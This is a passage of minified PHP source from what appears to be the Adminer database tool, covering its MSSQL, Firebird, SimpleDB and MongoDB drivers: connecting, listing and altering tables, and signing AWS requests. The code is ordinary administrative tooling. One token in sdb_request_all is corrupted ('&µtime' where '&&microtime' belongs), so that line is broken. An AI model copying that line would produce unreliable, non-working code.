drop_databases($j){return
queries("DROP DATABASE ".implode(", ",array_map('idf_escape',$j)));}function
rename_database($A,$Fb){if(preg_match('~^[a-z0-9_]+$~i',$Fb))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $Fb");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($A));return
true;}function
auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".number($_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){$c=array();$Nb=array();foreach($o
as$n){$d=idf_escape($n[0]);$X=$n[1];if(!$X)$c["DROP"][]=" COLUMN $d";else{$X[1]=preg_replace("~( COLLATE )'(\\w+)'~",'\1\2',$X[1]);$Nb[$n[0]]=$X[5];unset($X[5]);if($n[0]=="")$c["ADD"][]="\n ".implode("",$X).($R==""?substr($Td[$X[0]],16+strlen($X[0])):"");else{unset($X[6]);if($d!=$X[0])queries("EXEC sp_rename ".q(table($R).".$d").", ".q(idf_unescape($X[0])).", 'COLUMN'");$c["ALTER COLUMN ".implode("",$X)][]="";}}}if($R=="")return
queries("CREATE TABLE ".table($A)." (".implode(",",(array)$c["ADD"])."\n)");if($R!=$A)queries("EXEC sp_rename ".q(table($R)).", ".q($A));if($Td)$c[""]=$Td;foreach($c
as$x=>$X){if(!queries("ALTER TABLE ".idf_escape($A)." $x".implode(",",$X)))return
false;}foreach($Nb
as$x=>$X){$Lb=substr($X,9);queries("EXEC sp_dropextendedproperty @name = N'MS_Description', @level0type = N'Schema', @level0name = ".q(get_schema()).", @level1type = N'Table', @level1name = ".q($A).", @level2type = N'Column', @level2name = ".q($x));queries("EXEC sp_addextendedproperty @name = N'MS_Description', @value = ".$Lb.", @level0type = N'Schema', @level0name = ".q(get_schema()).", @level1type = N'Table', @level1name = ".q($A).", @level2type = N'Column', @level2name = ".q($x));}return
true;}function
alter_indexes($R,$c){$u=array();$Ic=array();foreach($c
as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$Ic[]=idf_escape($X[1]);else$u[]=idf_escape($X[1])." ON ".table($R);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R):"ALTER TABLE ".table($R)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return
false;}return(!$u||queries("DROP INDEX ".implode(", ",$u)))&&(!$Ic||queries("ALTER TABLE ".table($R)." DROP ".implode(", ",$Ic)));}function
last_id(){global$g;return$g->result("SELECT SCOPE_IDENTITY()");}function
explain($g,$F){$g->query("SET SHOWPLAN_ALL ON");$H=$g->query($F);$g->query("SET SHOWPLAN_ALL OFF");return$H;}function
found_rows($S,$Z){}function
foreign_keys($R){$H=array();foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($R))as$I){$p=&$H[$I["FK_NAME"]];$p["db"]=$I["PKTABLE_QUALIFIER"];$p["table"]=$I["PKTABLE_NAME"];$p["source"][]=$I["FKCOLUMN_NAME"];$p["target"][]=$I["PKCOLUMN_NAME"];}return$H;}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($mk){return
queries("DROP VIEW ".implode(", ",array_map('table',$mk)));}function
drop_tables($T){return
queries("DROP TABLE ".implode(", ",array_map('table',$T)));}function
move_tables($T,$mk,$fj){return
apply_queries("ALTER SCHEMA ".idf_escape($fj)." TRANSFER",array_merge($T,$mk));}function
trigger($A){if($A=="")return
array();$J=get_rows("SELECT s.name [Trigger],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing],
c.text
FROM sysobjects s
JOIN syscomments c ON s.id = c.id
WHERE s.xtype = 'TR' AND s.name = ".q($A));$H=reset($J);if($H)$H["Statement"]=preg_replace('~^.+\s+AS\s+~isU','',$H["text"]);return$H;}function
triggers($R){$H=array();foreach(get_rows("SELECT sys1.name,
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing]
FROM sysobjects sys1
JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id
WHERE sys1.xtype = 'TR' AND sys2.name = ".q($R))as$I)$H[$I["name"]]=array($I["Timing"],$I["Event"]);return$H;}function
trigger_options(){return
array("Timing"=>array("AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("AS"),);}function
schemas(){return
get_vals("SELECT name FROM sys.schemas");}function
get_schema(){global$g;if($_GET["ns"]!="")return$_GET["ns"];return$g->result("SELECT SCHEMA_NAME()");}function
set_schema($ii){return
true;}function
use_sql($i){return"USE ".idf_escape($i);}function
show_variables(){return
array();}function
show_status(){return
array();}function
convert_field($n){}function
unconvert_field($n,$H){return$H;}function
support($Ad){return
preg_match('~^(comment|columns|database|drop_col|indexes|descidx|scheme|sql|table|trigger|view|view_trigger)$~',$Ad);}$w="mssql";$Nj=array();$Pi=array();foreach(array(lang(25)=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),lang(26)=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),lang(23)=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),lang(27)=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),)as$x=>$X){$Nj+=$X;$Pi[$x]=array_keys($X);}$Uj=array();$wg=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$be=array("len","lower","round","upper");$ie=array("avg","count","count distinct","max","min","sum");$Tc=array(array("date|time"=>"getdate",),array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",));}$Hc['firebird']='Firebird (alpha)';if(isset($_GET["firebird"])){$oh=array("interbase");define("DRIVER","firebird");if(extension_loaded("interbase")){class
Min_DB{var$extension="Firebird",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($N,$V,$E){$this->_link=ibase_connect($N,$V,$E);if($this->_link){$Yj=explode(':',$N);$this->service_link=ibase_service_attach($Yj[0],$V,$E);$this->server_info=ibase_server_info($this->service_link,IBASE_SVC_SERVER_VERSION);}else{$this->errno=ibase_errcode();$this->error=ibase_errmsg();}return(bool)$this->_link;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($i){return($i=="domain");}function
query($F,$Oj=false){$G=ibase_query($F,$this->_link);if(!$G){$this->errno=ibase_errcode();$this->error=ibase_errmsg();return
false;}$this->error="";if($G===true){$this->affected_rows=ibase_affected_rows($this->_link);return
true;}return
new
Min_Result($G);}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($F,$n=0){$G=$this->query($F);if(!$G||!$G->num_rows)return
false;$I=$G->fetch_row();return$I[$n];}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($G){$this->_result=$G;}function
fetch_assoc(){return
ibase_fetch_assoc($this->_result);}function
fetch_row(){return
ibase_fetch_row($this->_result);}function
fetch_field(){$n=ibase_field_info($this->_result,$this->_offset++);return(object)array('name'=>$n['name'],'orgname'=>$n['name'],'type'=>$n['type'],'charsetnr'=>$n['length'],);}function
__destruct(){ibase_free_result($this->_result);}}}class
Min_Driver
extends
Min_SQL{}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$dc=$b->credentials();if($g->connect($dc[0],$dc[1],$dc[2]))return$g;return$g->error;}function
get_databases($Pd){return
array("domain");}function
limit($F,$Z,$y,$B=0,$M=" "){$H='';$H.=($y!==null?$M."FIRST $y".($B?" SKIP $B":""):"");$H.=" $F$Z";return$H;}function
limit1($R,$F,$Z,$M="\n"){return
limit($F,$Z,1,0,$M);}function
db_collation($k,$Gb){}function
engines(){return
array();}function
logged_user(){global$b;$dc=$b->credentials();return$dc[1];}function
tables_list(){global$g;$F='SELECT RDB$RELATION_NAME FROM rdb$relations WHERE rdb$system_flag = 0';$G=ibase_query($g->_link,$F);$H=array();while($I=ibase_fetch_assoc($G))$H[$I['RDB$RELATION_NAME']]='table';ksort($H);return$H;}function
count_tables($j){return
array();}function
table_status($A="",$_d=false){global$g;$H=array();$jc=tables_list();foreach($jc
as$u=>$X){$u=trim($u);$H[$u]=array('Name'=>$u,'Engine'=>'standard',);if($A==$u)return$H[$u];}return$H;}function
is_view($S){return
false;}function
fk_support($S){return
preg_match('~InnoDB|IBMDB2I~i',$S["Engine"]);}function
fields($R){global$g;$H=array();$F='SELECT r.RDB$FIELD_NAME AS field_name,
r.RDB$DESCRIPTION AS field_description,
r.RDB$DEFAULT_VALUE AS field_default_value,
r.RDB$NULL_FLAG AS field_not_null_constraint,
f.RDB$FIELD_LENGTH AS field_length,
f.RDB$FIELD_PRECISION AS field_precision,
f.RDB$FIELD_SCALE AS field_scale,
CASE f.RDB$FIELD_TYPE
WHEN 261 THEN \'BLOB\'
WHEN 14 THEN \'CHAR\'
WHEN 40 THEN \'CSTRING\'
WHEN 11 THEN \'D_FLOAT\'
WHEN 27 THEN \'DOUBLE\'
WHEN 10 THEN \'FLOAT\'
WHEN 16 THEN \'INT64\'
WHEN 8 THEN \'INTEGER\'
WHEN 9 THEN \'QUAD\'
WHEN 7 THEN \'SMALLINT\'
WHEN 12 THEN \'DATE\'
WHEN 13 THEN \'TIME\'
WHEN 35 THEN \'TIMESTAMP\'
WHEN 37 THEN \'VARCHAR\'
ELSE \'UNKNOWN\'
END AS field_type,
f.RDB$FIELD_SUB_TYPE AS field_subtype,
coll.RDB$COLLATION_NAME AS field_collation,
cset.RDB$CHARACTER_SET_NAME AS field_charset
FROM RDB$RELATION_FIELDS r
LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME
LEFT JOIN RDB$COLLATIONS coll ON f.RDB$COLLATION_ID = coll.RDB$COLLATION_ID
LEFT JOIN RDB$CHARACTER_SETS cset ON f.RDB$CHARACTER_SET_ID = cset.RDB$CHARACTER_SET_ID
WHERE r.RDB$RELATION_NAME = '.q($R).'
ORDER BY r.RDB$FIELD_POSITION';$G=ibase_query($g->_link,$F);while($I=ibase_fetch_assoc($G))$H[trim($I['FIELD_NAME'])]=array("field"=>trim($I["FIELD_NAME"]),"full_type"=>trim($I["FIELD_TYPE"]),"type"=>trim($I["FIELD_SUB_TYPE"]),"default"=>trim($I['FIELD_DEFAULT_VALUE']),"null"=>(trim($I["FIELD_NOT_NULL_CONSTRAINT"])=="YES"),"auto_increment"=>'0',"collation"=>trim($I["FIELD_COLLATION"]),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"comment"=>trim($I["FIELD_DESCRIPTION"]),);return$H;}function
indexes($R,$h=null){$H=array();return$H;}function
foreign_keys($R){return
array();}function
collations(){return
array();}function
information_schema($k){return
false;}function
error(){global$g;return
h($g->error);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ii){return
true;}function
support($Ad){return
preg_match("~^(columns|sql|status|table)$~",$Ad);}$w="firebird";$wg=array("=");$be=array();$ie=array();$Tc=array();}$Hc["simpledb"]="SimpleDB";if(isset($_GET["simpledb"])){$oh=array("SimpleXML + allow_url_fopen");define("DRIVER","simpledb");if(class_exists('SimpleXMLElement')&&ini_bool('allow_url_fopen')){class
Min_DB{var$extension="SimpleXML",$server_info='2009-04-15',$error,$timeout,$next,$affected_rows,$_result;function
select_db($i){return($i=="domain");}function
query($F,$Oj=false){$Tg=array('SelectExpression'=>$F,'ConsistentRead'=>'true');if($this->next)$Tg['NextToken']=$this->next;$G=sdb_request_all('Select','Item',$Tg,$this->timeout);$this->timeout=0;if($G===false)return$G;if(preg_match('~^\s*SELECT\s+COUNT\(~i',$F)){$Ti=0;foreach($G
as$Ue)$Ti+=$Ue->Attribute->Value;$G=array((object)array('Attribute'=>array((object)array('Name'=>'Count','Value'=>$Ti,))));}return
new
Min_Result($G);}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0;function
__construct($G){foreach($G
as$Ue){$I=array();if($Ue->Name!='')$I['itemName()']=(string)$Ue->Name;foreach($Ue->Attribute
as$Pa){$A=$this->_processValue($Pa->Name);$Y=$this->_processValue($Pa->Value);if(isset($I[$A])){$I[$A]=(array)$I[$A];$I[$A][]=$Y;}else$I[$A]=$Y;}$this->_rows[]=$I;foreach($I
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=count($this->_rows);}function
_processValue($Wc){return(is_object($Wc)&&$Wc['encoding']=='base64'?base64_decode($Wc):(string)$Wc);}function
fetch_assoc(){$I=current($this->_rows);if(!$I)return$I;$H=array();foreach($this->_rows[0]as$x=>$X)$H[$x]=$I[$x];next($this->_rows);return$H;}function
fetch_row(){$H=$this->fetch_assoc();if(!$H)return$H;return
array_values($H);}function
fetch_field(){$af=array_keys($this->_rows[0]);return(object)array('name'=>$af[$this->_offset++]);}}}class
Min_Driver
extends
Min_SQL{public$rh="itemName()";function
_chunkRequest($ye,$za,$Tg,$nd=array()){global$g;foreach(array_chunk($ye,25)as$wb){$Ug=$Tg;foreach($wb
as$r=>$s){$Ug["Item.$r.ItemName"]=$s;foreach($nd
as$x=>$X)$Ug["Item.$r.$x"]=$X;}if(!sdb_request($za,$Ug))return
false;}$g->affected_rows=count($ye);return
true;}function
_extractIds($R,$Dh,$y){$H=array();if(preg_match_all("~itemName\(\) = (('[^']*+')+)~",$Dh,$_f))$H=array_map('idf_unescape',$_f[1]);else{foreach(sdb_request_all('Select','Item',array('SelectExpression'=>'SELECT itemName() FROM '.table($R).$Dh.($y?" LIMIT 1":"")))as$Ue)$H[]=$Ue->Name;}return$H;}function
select($R,$L,$Z,$fe,$Ag=array(),$y=1,$D=0,$th=false){global$g;$g->next=$_GET["next"];$H=parent::select($R,$L,$Z,$fe,$Ag,$y,$D,$th);$g->next=0;return$H;}function
delete($R,$Dh,$y=0){return$this->_chunkRequest($this->_extractIds($R,$Dh,$y),'BatchDeleteAttributes',array('DomainName'=>$R));}function
update($R,$O,$Dh,$y=0,$M="\n"){$vc=array();$Me=array();$r=0;$ye=$this->_extractIds($R,$Dh,$y);$s=idf_unescape($O["`itemName()`"]);unset($O["`itemName()`"]);foreach($O
as$x=>$X){$x=idf_unescape($x);if($X=="NULL"||($s!=""&&array($s)!=$ye))$vc["Attribute.".count($vc).".Name"]=$x;if($X!="NULL"){foreach((array)$X
as$We=>$W){$Me["Attribute.$r.Name"]=$x;$Me["Attribute.$r.Value"]=(is_array($X)?$W:idf_unescape($W));if(!$We)$Me["Attribute.$r.Replace"]="true";$r++;}}}$Tg=array('DomainName'=>$R);return(!$Me||$this->_chunkRequest(($s!=""?array($s):$ye),'BatchPutAttributes',$Tg,$Me))&&(!$vc||$this->_chunkRequest($ye,'BatchDeleteAttributes',$Tg,$vc));}function
insert($R,$O){$Tg=array("DomainName"=>$R);$r=0;foreach($O
as$A=>$Y){if($Y!="NULL"){$A=idf_unescape($A);if($A=="itemName()")$Tg["ItemName"]=idf_unescape($Y);else{foreach((array)$Y
as$X){$Tg["Attribute.$r.Name"]=$A;$Tg["Attribute.$r.Value"]=(is_array($Y)?$X:idf_unescape($Y));$r++;}}}}return
sdb_request('PutAttributes',$Tg);}function
insertUpdate($R,$J,$rh){foreach($J
as$O){if(!$this->update($R,$O,"WHERE `itemName()` = ".q($O["`itemName()`"])))return
false;}return
true;}function
begin(){return
false;}function
commit(){return
false;}function
rollback(){return
false;}function
slowQuery($F,$pj){$this->_conn->timeout=$pj;return$F;}}function
connect(){global$b;list(,,$E)=$b->credentials();if($E!="")return
lang(20);return
new
Min_DB;}function
support($Ad){return
preg_match('~sql~',$Ad);}function
logged_user(){global$b;$dc=$b->credentials();return$dc[1];}function
get_databases(){return
array("domain");}function
collations(){return
array();}function
db_collation($k,$Gb){}function
tables_list(){global$g;$H=array();foreach(sdb_request_all('ListDomains','DomainName')as$R)$H[(string)$R]='table';if($g->error&&defined("PAGE_HEADER"))echo"".error()."\n";return$H;}function
table_status($A="",$_d=false){$H=array();foreach(($A!=""?array($A=>true):tables_list())as$R=>$U){$I=array("Name"=>$R,"Auto_increment"=>"");if(!$_d){$Mf=sdb_request('DomainMetadata',array('DomainName'=>$R));if($Mf){foreach(array("Rows"=>"ItemCount","Data_length"=>"ItemNamesSizeBytes","Index_length"=>"AttributeValuesSizeBytes","Data_free"=>"AttributeNamesSizeBytes",)as$x=>$X)$I[$x]=(string)$Mf->$X;}}if($A!="")return$I;$H[$R]=$I;}return$H;}function
explain($g,$F){}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($S){}function
indexes($R,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("itemName()")),);}function
fields($R){return
fields_from_edit();}function
foreign_keys($R){return
array();}function
table($t){return
idf_escape($t);}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
limit($F,$Z,$y,$B=0,$M=" "){return" $F$Z".($y!==null?$M."LIMIT $y":"");}function
unconvert_field($n,$H){return$H;}function
fk_support($S){}function
engines(){return
array();}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){return($R==""&&sdb_request('CreateDomain',array('DomainName'=>$A)));}function
drop_tables($T){foreach($T
as$R){if(!sdb_request('DeleteDomain',array('DomainName'=>$R)))return
false;}return
true;}function
count_tables($j){foreach($j
as$k)return
array($k=>count(tables_list()));}function
found_rows($S,$Z){return($Z?null:$S["Rows"]);}function
last_id(){}function
hmac($Ha,$jc,$x,$Hh=false){$hb=64;if(strlen($x)>$hb)$x=pack("H*",$Ha($x));$x=str_pad($x,$hb,"\0");$Xe=$x^str_repeat("\x36",$hb);$Ye=$x^str_repeat("\x5C",$hb);$H=$Ha($Ye.pack("H*",$Ha($Xe.$jc)));if($Hh)$H=pack("H*",$H);return$H;}function
sdb_request($za,$Tg=array()){global$b,$g;list($ue,$Tg['AWSAccessKeyId'],$li)=$b->credentials();$Tg['Action']=$za;$Tg['Timestamp']=gmdate('Y-m-d\TH:i:s+00:00');$Tg['Version']='2009-04-15';$Tg['SignatureVersion']=2;$Tg['SignatureMethod']='HmacSHA1';ksort($Tg);$F='';foreach($Tg
as$x=>$X)$F.='&'.rawurlencode($x).'='.rawurlencode($X);$F=str_replace('%7E','~',substr($F,1));$F.="&Signature=".urlencode(base64_encode(hmac('sha1',"POST\n".preg_replace('~^https?://~','',$ue)."\n/\n$F",$li,true)));@ini_set('track_errors',1);$Ed=@file_get_contents((preg_match('~^https?://~',$ue)?$ue:"http://$ue"),false,stream_context_create(array('http'=>array('method'=>'POST','content'=>$F,'ignore_errors'=>1,))));if(!$Ed){$g->error=$php_errormsg;return
false;}libxml_use_internal_errors(true);$Ak=simplexml_load_string($Ed);if(!$Ak){$m=libxml_get_last_error();$g->error=$m->message;return
false;}if($Ak->Errors){$m=$Ak->Errors->Error;$g->error="$m->Message ($m->Code)";return
false;}$g->error='';$ej=$za."Result";return($Ak->$ej?$Ak->$ej:true);}function
sdb_request_all($za,$ej,$Tg=array(),$pj=0){$H=array();$Li=($pj?microtime(true):0);$y=(preg_match('~LIMIT\s+(\d+)\s*$~i',$Tg['SelectExpression'],$_)?$_[1]:0);do{$Ak=sdb_request($za,$Tg);if(!$Ak)break;foreach($Ak->$ej
as$Wc)$H[]=$Wc;if($y&&count($H)>=$y){$_GET["next"]=$Ak->NextToken;break;}if($pj&µtime(true)-$Li>$pj)return
false;$Tg['NextToken']=$Ak->NextToken;if($y)$Tg['SelectExpression']=preg_replace('~\d+\s*$~',$y-count($H),$Tg['SelectExpression']);}while($Ak->NextToken);return$H;}$w="simpledb";$wg=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","IS NOT NULL");$be=array();$ie=array("count");$Tc=array(array("json"));}$Hc["mongo"]="MongoDB";if(isset($_GET["mongo"])){$oh=array("mongo","mongodb");define("DRIVER","mongo");if(class_exists('MongoDB')){class
Min_DB{var$extension="Mongo",$server_info=MongoClient::VERSION,$error,$last_id,$_link,$_db;function
connect($Wj,$zg){return@new
MongoClient($Wj,$zg);}function
query($F){return
false;}function
select_db($i){try{$this->_db=$this->_link->selectDB($i);return
true;}catch(Exception$jd){$this->error=$jd->getMessage();return
false;}}function
quote($Q){return$Q;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($G){foreach($G
as$Ue){$I=array();foreach($Ue
as$x=>$X){if(is_a($X,'MongoBinData'))$this->_charset[$x]=63;$I[$x]=(is_a($X,'MongoId')?'ObjectId("'.strval($X).'")':(is_a($X,'MongoDate')?gmdate("Y-m-d H:i:s",$X->sec)." GMT":(is_a($X,'MongoBinData')?$X->bin:(is_a($X,'MongoRegex')?strval($X):(is_object($X)?get_class($X):$X)))));}$this->_rows[]=$I;foreach($I
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=count($this->_rows);}function
fetch_assoc(){$I=current($this->_rows);if(!$I)return$I;$H=array();foreach($this->_rows[0]as$x=>$X)$H[$x]=$I[$x];next($this->_rows);return$H;}function
fetch_row(){$H=$this->fetch_assoc();if(!$H)return$H;return
array_values($H);}function
fetch_field(){$af=array_keys($this->_rows[0]);$A=$af[$this->_offset++];return(object)array('name'=>$A,'charsetnr'=>$this->_charset[$A],);}}class
Min_Driver
extends
Min_SQL{public$rh="_id";function
select($R,$L,$Z,$fe,$Ag=array(),$y=1,$D=0,$th=false){$L=($L==array("*")?array():array_fill_keys($L,true));$Ci=array();foreach($Ag
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Yb);$Ci[$X]=($Yb?-1:1);}return
new
Min_Result($this->_conn->_db->selectCollection($R)->find(array(),$L)->sort($Ci)->limit($y!=""?+$y:0)->skip($D*$y));}function
insert($R,$O){try{$H=$this->_conn->_db->selectCollection($R)->insert($O);$this->_conn->errno=$H['code'];$this->_conn->error=$H['err'];$this->_conn->last_id=$O['_id'];return!$H['err'];}catch(Exception$jd){$this->_conn->error=$jd->getMessage();return
false;}}}function
get_databases($Pd){global$g;$H=array();$qc=$g->_link->listDBs();foreach($qc['databases']as$k)$H[]=$k['name'];return$H;}function
count_tables($j){global$g;$H=array();foreach($j
as$k)$H[$k]=count($g->_link->selectDB($k)->getCollectionNames(true));return$H;}function
tables_list(){global$g;return
array_fill_keys($g->_db->getCollectionNames(true),'table');}function
drop_databases($j){global$g;foreach($j
as$k){$Uh=$g->_link->selectDB($k)->drop();if(!$Uh['ok'])return
false;}return
true;}function
indexes($R,$h=null){global$g;$H=array();foreach($g->_db->selectCollection($R)->getIndexInfo()as$u){$zc=array();foreach($u["key"]as$d=>$U)$zc[]=($U==-1?'1':null);$H[$u["name"]]=array("type"=>($u["name"]=="_id_"?"PRIMARY":($u["unique"]?"UNIQUE":"INDEX")),"columns"=>array_keys($u["key"]),"lengths"=>array(),"descs"=>$zc,);}return$H;}function
fields($R){return
fields_from_edit();}function
found_rows($S,$Z){global$g;return$g->_db->selectCollection($_GET["select"])->count($Z);}$wg=array("=");}elseif(class_exists('MongoDB\Driver\Manager')){class
Min_DB{var$extension="MongoDB",$server_info=MONGODB_VERSION,$error,$last_id;var$_link;var$_db,$_db_name;function
connect($Wj,$zg){$yb='MongoDB\Driver\Manager';return
new$yb($Wj,$zg);}function
query($F){return
false;}function
select_db($i){$this->_db_name=$i;return
true;}function
quote($Q){return$Q;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($G){foreach($G
as$Ue){$I=array();foreach($Ue
as$x=>$X){if(is_a($X,'MongoDB\BSON\Binary'))$this->_charset[$x]=63;$I[$x]=(is_a($X,'MongoDB\BSON\ObjectID')?'MongoDB\BSON\ObjectID("'.strval($X).'")':(is_a($X,'MongoDB\BSON\UTCDatetime')?$X->toDateTime()->format('Y-m-d H:i:s'):(is_a($X,'MongoDB\BSON\Binary')?$X->bin:(is_a($X,'MongoDB\BSON\Regex')?strval($X):(is_object($X)?json_encode($X,256):$X)))));}$this->_rows[]=$I;foreach($I
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=$G->count;}function
fetch_assoc(){$I=current($this->_rows);if(!$I)return$I;$H=array();foreach($this->_rows[0]as$x=>$X)$H[$x]=$I[$x];next($this->_rows);return$H;}function
fetch_row(){$H=$this->fetch_assoc();if(!$H)return$H;return
array_values($H);}function
fetch_field(){$af=array_keys($this->_rows[0]);$A=$af[$this->_offset++];return(object)array('name'=>$A,'charsetnr'=>$this->_charset[$A],);}}class
Min_Driver
extends
Min_SQL{public$rh="_id";function
select($R,$L,$Z,$fe,$Ag=array(),$y=1,$D=0,$th=false){global$g;$L=($L==array("*")?array():array_fill_keys($L,1));if(count($L)&&!isset($L['_id']))$L['_id']=0;$Z=where_to_query($Z);$Ci=array();foreach($Ag
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Yb);$Ci[$X]=($Yb?-1:1);}if(isset($_GET['limit'])&&is_numeric($_GET['limit'])&&$_GET['limit']>0)$y=$_GET['limit'];$y=min(200,max(1,(int)$y));$_i=$D*$y;$yb='MongoDB\Driver\Query';$F=new$yb($Z,array('projection'=>$L,'limit'=>$y,'skip'=>$_i,'sort'=>$Ci));$Xh=$g->_link->executeQuery("$g->_db_name.$R",$F);return
new
Min_Result($Xh);}function
update($R,$O,$Dh,$y=0,$M="\n"){global$g;$k=$g->_db_name;$Z=sql_query_where_parser($Dh);$yb='MongoDB\Driver\BulkWrite';$lb=new$yb(array());if(isset($O['_id']))unset($O['_id']);$Rh=array();foreach($O
as$x=>$Y){if($Y=='NULL'){$Rh[$x]=1;unset($O[$x]);}}$Vj=array('$set'=>$O);if(count($Rh))$Vj['$unset']=$Rh;$lb->update($Z,$Vj,array('upsert'=>false));$Xh=$g->_link->executeBulkWrite("$k.$R",$lb);$g->affected_rows=$Xh->getModifiedCount();return
true;}function
delete($R,$Dh,$y=0){global$g;$k=$g->_db_name;$Z=sql_query_where_parser($Dh);$yb='MongoDB\Driver\BulkWrite';$lb=new$yb(array());$lb->delete($Z,array('limit'=>$y));$Xh=$g->_link->executeBulkWrite("$k.$R",$lb);$g->affected_rows=$Xh->getDeletedCount();return
true;}function
insert($R,$O){global$g;$k=$g->_db_name;$yb='MongoDB\Driver\BulkWrite';$lb=new$yb(array());if(isset($O['_id'])&&empty($O['_id']))unset($O['_id']);$lb->insert($O);$Xh=$g->_link->executeBulkWrite("$k.$R",$lb);$g->affected_rows=$Xh->getInsertedCount();return
true;}}function
get_databases($Pd){global$g;$H=array();$yb='MongoDB\Driver\Command';$Jb=new$yb(array('listDatabases'=>1));$Xh=$g->_link->executeCommand('admin',$Jb);foreach($Xh
as$qc){foreach($qc->databases
as$k)$H[]=$k->name;}return$H;}function
count_tables($j){$H=array();return$H;}function
tables_list(){global$g;$yb='MongoDB\Driver\Command';$Jb=new$yb(array('listCollections'=>1));$Xh=$g->_link->executeCommand($g->_db_name,$Jb);$Hb=array();foreach($Xh
as$G)$Hb[$G->name]='table';return$Hb;}function
drop_databases($j){return
false;}function
indexes($R,$h=null){global$g;$H=array();$yb='MongoDB\Driver\Command';$Jb=new$yb(array('listIndexes'=>$R));$Xh=$g->_link->executeCommand($g->_db_name,$Jb);foreach($Xh
as$u){$zc=array();$e=array();foreach(get_object_vars($u->key)as$d=>$U){$zc[]=($U==-1?'1':null);$e[]=$d;}$H[$u->name]=array("type"=>($u->name=="_id_"?"PRIMARY":(isset($u->unique)?"UNIQUE":"INDEX")),"columns"=>$e,"lengths"=>array(),"descs"=>$zc,);}return$H;}function
fields($R){$o=fields_from_edit();if(!count($o)){global$l;$G=$l->select($R,array("*"),null,null,array(),10);while($I=$G->fetch_assoc()){foreach($I
as$x=>$X){$I[$x]=null;$o[$x]=array("field"=>$x,"type"=>"string","null"=>($x!=$l->primary),"auto_increment"=>($x==$l->primary),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1,),);}}}return$o;}function
found_rows($S,$Z){global$g;$Z=where_to_query($Z);$yb='MongoDB\Driver\Command';$Jb=new$yb(array('count'=>$S['Name'],'query'=>$Z));$Xh=$g->_link->executeCommand($g->_db_name,$Jb);$yj=$Xh->toArray();return$yj[0]->n;}function
sql_query_where_parser($Dh){$Dh=trim(preg_replace('/WHERE[\s]?[(]?\(?/','',$Dh));$Dh=preg_replace('/\)\)\)$/',')',$Dh);$xk=explode(' AND ',$Dh);$yk=explode(') OR (',$Dh);$Z=array();foreach($xk
